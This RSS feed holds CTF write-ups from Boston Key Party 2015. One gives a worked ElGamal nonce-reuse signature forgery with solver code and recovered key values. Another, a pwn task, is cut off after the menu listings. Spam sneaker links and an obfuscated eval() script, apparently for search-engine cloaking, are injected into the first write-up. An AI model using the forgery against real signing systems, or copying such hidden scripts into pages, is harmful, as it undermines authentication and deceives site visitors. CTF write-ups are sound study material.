<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://ctfcrew.org"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>BalalaikaCr3w - Boston Key Party 2015</title>
 <link>https://ctfcrew.org/event/32</link>
 <description></description>
 <language>en</language>
<item>
 <title>Wood Island (Crypto - 150)</title>
 <link>https://ctfcrew.org/writeup/98</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/crypto&quot;&gt;crypto&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/32&quot;&gt;Boston Key Party 2015&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&lt;strong&gt;Task:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;You can try to sign messages and send them to the server, 52.0.217.48 port 60231. Sign the right message and you\&#039;ll get the flag! Only problem---you don\&#039;t have the signing key. I will give you this, though: sigs.txt is a file containing a bunch of signatures. I hope it helps. (P.S. Don\&#039;t try and send the exact signatures in that file---that\&#039;s cheating!)&lt;/p&gt;&lt;p&gt;Given archieve attached below.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;!--break--&gt;&lt;/p&gt;&lt;p&gt;Let&#039;s start! Unpack archieve and take a look inside. We have three python scripts and one .txt file. Two python files contain only constants, but last contains server implemetation. Let&#039;s have a closer look on it:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;    def handle(self):
        self.captcha()
        sig = self.request.recv(5000)
        sig = json.loads(sig)
        if &quot;r&quot; not in sig or &quot;s&quot; not in sig or &quot;m&quot; not in sig:
            self.request.close()
            return
        r = sig[&quot;r&quot;]
        s = sig[&quot;s&quot;]
        m = sig[&quot;m&quot;]
        if not elgamal_verify(r, s, m):
            self.request.close()
        elif is_duplicate(sig):
            self.request.close()
        elif m != &quot;There is no need to be upset&quot;:
            self.request.close()
        else:
            self.request.sendall(FLAG)
            self.request.close()&lt;/pre&gt;&lt;p&gt;And:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;def elgamal_verify(r, s, m):
    if r &amp;lt;= 0 or r &amp;gt;= SAFEPRIME:
        return False
    if s &amp;lt;= 0 or s &amp;gt;= SAFEPRIME-1:
        return False
    h = int(hashlib.sha384(m).hexdigest(), 16)
    left = pow(GENERATOR, h, SAFEPRIME)
    right = (pow(PUBKEY, r, SAFEPRIME) * pow(r, s, SAFEPRIME)) % SAFEPRIME
    return left == right

DUPLICATES = []

def is_duplicate(s):
    return s in DUPLICATES&lt;/pre&gt;&lt;p&gt;So, wha is happening here? First step is Anti-captcha (proof of work) - you have to proove, that you are robot (cos human cant calculate hash in mind...=) ), you can bypass it with bruteforce, using scripts from previos arcticles.&lt;/p&gt;&lt;p&gt;On the second step server checks signature: it takes from user json with &lt;em&gt;m&lt;/em&gt;, &lt;em&gt;r&lt;/em&gt; and &lt;em&gt;s&lt;/em&gt; fields and perfoms some checks:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&amp;nbsp;&lt;em&gt;(r,s)&lt;/em&gt; signature is valid for message &lt;em&gt;m&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Message and it&#039;s signature were not used before (not in given sigs.txt file)&lt;/li&gt;&lt;li&gt;Message &lt;em&gt;m&lt;/em&gt; is equal to &quot;There is no need to be upset&quot;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;So we just have to forge valid signature for meddage: &quot;There is no need to be upset&quot;.&lt;/p&gt;&lt;p&gt;Because verification function is called &quot;elgamal_verify&quot;, you may suppose that server uses ElGamal Scheme. Let&#039;s open wikipedia and gain some information about this &lt;a href=&quot;http://en.wikipedia.org/wiki/ElGamal_signature_scheme&quot;&gt;scheme&lt;/a&gt;.&amp;nbsp;Among all you can find &quot;Security&quot; &lt;a href=&quot;http://en.wikipedia.org/wiki/ElGamal_signature_scheme#Security&quot;&gt;part&lt;/a&gt;&amp;nbsp;and some interesting things in it:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;The signer must be careful to choose a different&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;uniformly at random for each signature and to be certain that&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;, or even partial information about&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;, is not leaked. Otherwise, an attacker may be able to deduce the secret key&amp;nbsp;&lt;/span&gt;x&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;with reduced difficulty, perhaps enough to allow a practical attack. In particular, if two messages are sent using the same value of&amp;nbsp;&lt;/span&gt;k&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;and the same key, then an attacker can compute&amp;nbsp;&lt;/span&gt;x&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;&amp;nbsp;directly.&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif; line-height: 22px;&quot;&gt;And we have we have sigs.txt file with several signatures.. looks like we are on the right way... but what is &lt;em&gt;k&lt;/em&gt;? Wiki says:&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; line-height: 22px; color: #252525; font-family: sans-serif;&quot;&gt;&lt;em&gt;To sign a message&amp;nbsp;m&amp;nbsp;the signer performs the following steps.&lt;/em&gt;&lt;/p&gt;&lt;ul style=&quot;line-height: 22px; margin-top: 0.3em; margin-bottom: 0px; margin-left: 1.6em; list-style-image: url(&#039;data:image/svg+xml,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20version%3D%221.1%22%20width%3D%225%22%20height%3D%2213%22%3E%0A%3Ccircle%20cx%3D%222.5%22%20cy%3D%229.5%22%20r%3D%222.5%22%20fill%3D%22%2300528c%22%2F%3E%0A%3C%2Fsvg%3E%0A&#039;); color: #252525; font-family: sans-serif;&quot;&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;Choose a random&amp;nbsp;k&amp;nbsp;such that 1&amp;nbsp;&amp;lt;&amp;nbsp;k&amp;nbsp;&amp;lt;&amp;nbsp;p&amp;nbsp;−&amp;nbsp;1 and gcd(k,&amp;nbsp;p&amp;nbsp;−&amp;nbsp;1)&amp;nbsp;=&amp;nbsp;1.&lt;/em&gt;&lt;/li&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;Compute&amp;nbsp;&lt;img class=&quot;mwe-math-fallback-image-inline tex&quot; style=&quot;display: inline-block;&quot; src=&quot;http://upload.wikimedia.org/math/9/9/8/998605102271444e000a47030ecf2c1d.png&quot; alt=&quot; r \, \equiv \, g^k \pmod p&quot;&gt;.&lt;/em&gt;&lt;/li&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;Compute&amp;nbsp;&lt;img class=&quot;mwe-math-fallback-image-inline tex&quot; style=&quot;display: inline-block;&quot; src=&quot;http://upload.wikimedia.org/math/e/2/b/e2b71441122c33e81b283228fd1a73dc.png&quot; alt=&quot; s \, \equiv \, (H(m)-x r)k^{-1} \pmod{p-1}&quot;&gt;.&lt;/em&gt;&lt;/li&gt;&lt;li style=&quot;margin-bottom: 0.1em;&quot;&gt;&lt;em&gt;If&amp;nbsp;&lt;img class=&quot;mwe-math-fallback-image-inline tex&quot; style=&quot;display: inline-block;&quot; src=&quot;http://upload.wikimedia.org/math/7/8/7/787d0b6e5d9e7525a7054c6f96c377ea.png&quot; alt=&quot;s=0&quot;&gt;&amp;nbsp;start over again.&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; line-height: 22px; color: #252525; font-family: sans-serif;&quot;&gt;&lt;em&gt;Then the pair (r,s) is the digital signature of&amp;nbsp;m. The signer repeats these steps for every signature.&lt;/em&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0.5em; margin-bottom: 0.5em; line-height: 22px; color: #252525; font-family: sans-serif;&quot;&gt;So, if in two signatures same &lt;em&gt;k&lt;/em&gt; was used, both signatures have same &lt;em&gt;r&lt;/em&gt;. Let&#039;s examine given sigs.txt file to find out same &lt;em&gt;r&amp;nbsp;&lt;/em&gt;values. For example, this script will do it for you:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;import re

with open(&#039;sigs.txt&#039;, &#039;r&#039;) as f:
	data = f.read()

searcher = re.compile( &quot;\&quot;r\&quot;: \d+&quot;)
r_vals = searcher.findall(data)

uniq = []
for r in r_vals:
	if r in uniq:
		print r
	else:
		uniq.append(r)&lt;/pre&gt;&lt;p&gt;Result:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;&quot;r&quot;: 24030551483122053624716977527407536977518653033297939409122802809740309624953770247347499500115945237454766787108175375302146086541500888306491588588147326149187734156069939639058405265571675349658277792098286622286226058008567542381029931604553716421740469902946532483973532336362867141732245398972208695076558639383660148089152829691282160772599817042880415931978266720626748559045779449893737272112671672750802677804265935211941474277988895796905249955578045776622418603597677320454557350772863501720544466286669388103247173728880382526588182905215363298438385070158385795742683303408289812120424459186306607441289
&quot;r&quot;: 15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794
&quot;r&quot;: 7642569978590436429035839941747247560961995622187738908962159214058334385040541356267957242899354560757177741259486145756635387643986997662432251492305334195580243624629435620896520306233592274992724847384959546615834897272240261629833454725467996866722488751905291163060514410309569216190018941208834286631363010818364154295177563417071850364776094073956065971376816168479731258230097121738745272755290500815682780120887578487480236247646661452058929568790006839190000789494099743010979644184683260698667768183665065310183202237640230653237055185353887233368385521231171006737686056695974479215510810069532170450224
[Finished in 0.1s]&lt;/pre&gt;&lt;p&gt;&amp;nbsp; We find three &lt;em&gt;r,&amp;nbsp;&lt;/em&gt;which are not unique. So we can perform attack, that was described above. Wiki says:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;s = ( H(m) - xr )k&lt;sup&gt;-1&lt;/sup&gt; (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;sk = H(m) - xr&amp;nbsp;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;(mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;H(m) = sk + xr (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;We have two different messages with two signatures &lt;em&gt;(s,r)&lt;/em&gt;, where &lt;em&gt;s&lt;/em&gt; are different but &lt;em&gt;r&lt;/em&gt; are equal. So we have system of two&amp;nbsp;&lt;/span&gt;&lt;/span&gt;equations&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;H(m&lt;sub&gt;1&lt;/sub&gt;) = s&lt;sub&gt;1&lt;/sub&gt;k + xr (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;H(m&lt;sub&gt;2&lt;/sub&gt;) = s&lt;sub&gt;2&lt;/sub&gt;k + xr (mod p-1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;Where &lt;em&gt;x&lt;/em&gt; and &lt;em&gt;k&lt;/em&gt; is unknow variables. Be careful, when solving this system, because integers modulo p-1 is a ring, so not all elements have multiplicative inverse. For example, even &lt;em&gt;s&lt;/em&gt; wouldn&#039;t has it.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #252525; font-family: sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 22px;&quot;&gt;You can use any Math application to solve system of&amp;nbsp;&lt;/span&gt;&lt;/span&gt;equations by modulo and find &lt;em&gt;k&lt;/em&gt; and &lt;em&gt;x.&amp;nbsp;&lt;/em&gt;I&#039;ve used Wolfram Math:&lt;/p&gt;&lt;div data-rz-params=&quot;{&amp;quot;__TYPE&amp;quot;:&amp;quot;LINE&amp;quot;,&amp;quot;RANDOM&amp;quot;:0.11121001280844212}&quot;&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Solve[
 15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794*x + 
    20193160426525825914749944534502183854793246273057225225204130786954179606391520252397561856344584750457489718289118609515303464507510251417077403315954173676057341891301159286752647600395198190644724307893515345893595410667424425312908674343690968733843740920409803587443515922925501638028491932183400780974410265039483539351372898810463837406346416273301833999371981123383744331959625540606861187311099827640470542835373136973637049034852358457864170556183428016586548277807973991611705101720973851865311156212618466002189499709957796272187041939722207610584175170433726950035007314375587759506260786928657084551208*y == 
   17522164631796177405895087447911918224805069054544219936136496691782804368700681944248318092297704863697843193489206 &amp;amp;&amp;amp;
  
  15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794*x + 
    20950544720225190240516588643124156640166137751307772794120839122642879744566309989204234525193060193095734419581892490241084064977398989989423034374978973475972879096343609617333859217032402467474794063367359126064209414247112196692749986283927599483857635906461630946699655333336064650658571060838418022831773012112148484373450539087980144060939705883970226872558602362137321434221468807558634789744082687788692428002582578979320390623784385653753663765668912704533244714593744067390408848738952250051111603136134591670549919971405683223154547996667007410471545395238084694224087888217638321220704877088996234667758*y == 
   32912878155772232082988690525300428836530642510373329387039819701838393571941848326053069623907005119234663553785330,
 {x, y},
 Modulus -&amp;gt; 
  27327395392065156535295708986786204851079528837723780510136102615658941290873291366333982291142196119880072569148310240613294525601423086385684539987530041685746722802143397156977196536022078345249162977312837555444840885304704497622243160036344118163834102383664729922544598824748665205987742128842266020644318535398158529231670365533130718559364239513376190580331938323739895791648429804489417000105677817248741446184689828512402512984453866089594767267742663452532505964888865617589849683809416805726974349474427978691740833753326962760114744967093652541808999389773346317294473742439510326811300031080582618145726]&lt;/pre&gt;&lt;p&gt;And result is:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;Answer:
{{x -&amp;gt; 11405148977472070847365218710766449078537570969688340378848352437920775589263471165689667400222906768815975260917123165802980646318353389631475775638254459726964055271804077962848769755220905417865830271596783314761387652548615547386856401898810558155866110142664500325585994569852700494187601969524512877504501310480889704990280605643619505056187819289992366250062643439920600261106116347627717948112330653523084554538170888898127933270176684391756706118533788708485259278763353731318153045165374215647633533950855383457673005747323515328227853308910032144312613158202921709938645864922336849172162584600594548383769 + 
    13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863 C[1], 
  y -&amp;gt; 12780654076712315342557968007566379935229954276230807639665702142103549136408699104332337502550652581806514878279261654171262095484373525061520969023188821681199026858966468950451221700940218653506601368343894689092533052209732513940302093154785769183690626111706770904919054659023003137158039635431673035380262813165085357833180324316706979051198536038699978511970853276885780181015508612084020605897756865495255350696748220033237316185373458895608809435734616059720556237199048361906711902462009427742458373806078932083281313989085236666731027152436636238565509653859120339870549660036293474217320107816478127848604 + 
    13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863 C[2]}}&lt;/pre&gt;&lt;p&gt;&lt;br&gt;As you can see, system has muliply solutiuons.&amp;nbsp;&lt;/p&gt;&lt;p&gt;You can very fast check all four combinations by forging four variants of &lt;em&gt;(s,r)&lt;/em&gt; signature for &lt;em&gt;m&lt;/em&gt; = &quot;There is no need to be upset&quot;, and sending it on server. If you use same &lt;em&gt;r&lt;/em&gt; as in sigs.txt, you just need to compute &lt;em&gt;s, &lt;/em&gt;so:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;K = 12780654076712315342557968007566379935229954276230807639665702142103549136408699104332337502550652581806514878279261654171262095484373525061520969023188821681199026858966468950451221700940218653506601368343894689092533052209732513940302093154785769183690626111706770904919054659023003137158039635431673035380262813165085357833180324316706979051198536038699978511970853276885780181015508612084020605897756865495255350696748220033237316185373458895608809435734616059720556237199048361906711902462009427742458373806078932083281313989085236666731027152436636238565509653859120339870549660036293474217320107816478127848604 + 13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863

R = 15596574224423604337174975776788465266479462558269645435687330615427783442319450174310669167504694165949734195772140468403401519160093357880254143018633950179114008556651092403391366077557363361555123124177670387232880718011385652224689886844787549431939261644192798219757366042713163922831165605478332687249430607990154018556718572496906645239311390495141354282987806832079357224945158666328969818853986069540836255016227603632402476397515152119360294922495895244235309968400537736534622122663697025389872185310053285819453794953849878570802282548259719716065417998189738453640724390984216257023730024188208988434794

Kinv = inverse(K, M)

print Kinv
11229564743034185040004960050772054007682662152342489588663134546157830837439948644777566056798431052050328871856833998547970536669342678490701009207205388039479343267225423580587116767573396520467953567708885431696965609591547186713704202330941400518771586809861731353532477280946818593198085158822727812249062666604332954171368291583140313845753585453894318934470456670469827222218354006201600442374222432023493236612146637469249317961367788649325550166802023675758482489748891700581825892091702679217253672563341697873025935541062804335772599169547952882534586596303285146433449671309000641194778425709515061034061L

H = int(hashlib.sha384(&quot;There is no need to be upset&quot;).hexdigest(), 16)
X = 11405148977472070847365218710766449078537570969688340378848352437920775589263471165689667400222906768815975260917123165802980646318353389631475775638254459726964055271804077962848769755220905417865830271596783314761387652548615547386856401898810558155866110142664500325585994569852700494187601969524512877504501310480889704990280605643619505056187819289992366250062643439920600261106116347627717948112330653523084554538170888898127933270176684391756706118533788708485259278763353731318153045165374215647633533950855383457673005747323515328227853308910032144312613158202921709938645864922336849172162584600594548383769 + 13663697696032578267647854493393102425539764418861890255068051307829470645436645683166991145571098059940036284574155120306647262800711543192842269993765020842873361401071698578488598268011039172624581488656418777722420442652352248811121580018172059081917051191832364961272299412374332602993871064421133010322159267699079264615835182766565359279682119756688095290165969161869947895824214902244708500052838908624370723092344914256201256492226933044797383633871331726266252982444432808794924841904708402863487174737213989345870416876663481380057372483546826270904499694886673158647236871219755163405650015540291309072863

S = ((H - X * R) * Kinv) % M
print S
11057062360037254017289635018921773984183564064092395096838773711381090984064311698289768170915721461871937003117929770925039756903570621025707383705465627567970676462056327449577227456755524929286234463839696828725619393734746030826431182855696671016288244742041130665258517881078515879578523743937721290168743838774382061947237978837869517592441458667243091811392910778481879611111807313162640186698122857701857400429810865528683646940672873418762238830032505222891402579366927300508292794863485872865578871520392827529932070319462416460050694529429370692076137317134639455980792967653965353227009612149885652150641L&lt;/pre&gt;&lt;p&gt;&amp;nbsp;Send (r,s,m) json and get:&lt;/p&gt;&lt;p&gt;nonces_are_fucking_rad_amirite&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Flag:&amp;nbsp;nonces_are_fucking_rad_amirite&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/div&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.mysneakers.org/&quot;&gt;Mysneakers&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfeghoshop/nike-air-max-270/&quot;&gt;Nike Air Max 270 - Deine Größe bis zu 70% günstiger&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Binary Data&quot; title=&quot;application/octet-stream&quot; src=&quot;/modules/file/icons/application-octet-stream.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/wood-island.tar_.gz&quot; type=&quot;application/octet-stream; length=546593&quot;&gt;wood-island.tar_.gz&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Wed, 04 Mar 2015 08:58:45 +0000</pubDate>
 <dc:creator>Triff</dc:creator>
 <guid isPermaLink="false">98 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/98#comments</comments>
</item>
<item>
 <title>Kendall (pwn - 300)</title>
 <link>https://ctfcrew.org/writeup/97</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/pwn&quot;&gt;pwn&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/32&quot;&gt;Boston Key Party 2015&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;Description of task is pretty small:&lt;/p&gt;&lt;p&gt;52.0.164.37:8888&lt;/p&gt;&lt;p&gt;And &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/kendall.tar_.gz&quot;&gt;link&lt;/a&gt; to file (ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped).&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;After connecting to the server we receive the following menu:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;#####################################################
# DHCP Management Console                           #
# Auditing Interface                                #
#####################################################

 h  show this help
 a  authenticate
 c  config menu
 d  dhcp lease menu
 e  exit

[m]#&lt;/pre&gt;&lt;p&gt;&lt;em&gt;authenticate&lt;/em&gt; - stage for inputting administrator&#039;s password&lt;/p&gt;&lt;p&gt;&lt;em&gt;config menu&lt;/em&gt;:&lt;/p&gt;&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;[c]# h

 h  show this help
 l  list keys/values
 s  change start ip
 e  change end ip
 k  change netmask ip
 n  change nameserver ip
 m  return to main menu
[c]# l
 DHCP Configuration: 
	Start IP:   192.168.000.100
	End IP:     192.168.000.200
	Netmask:    255.255.255.000
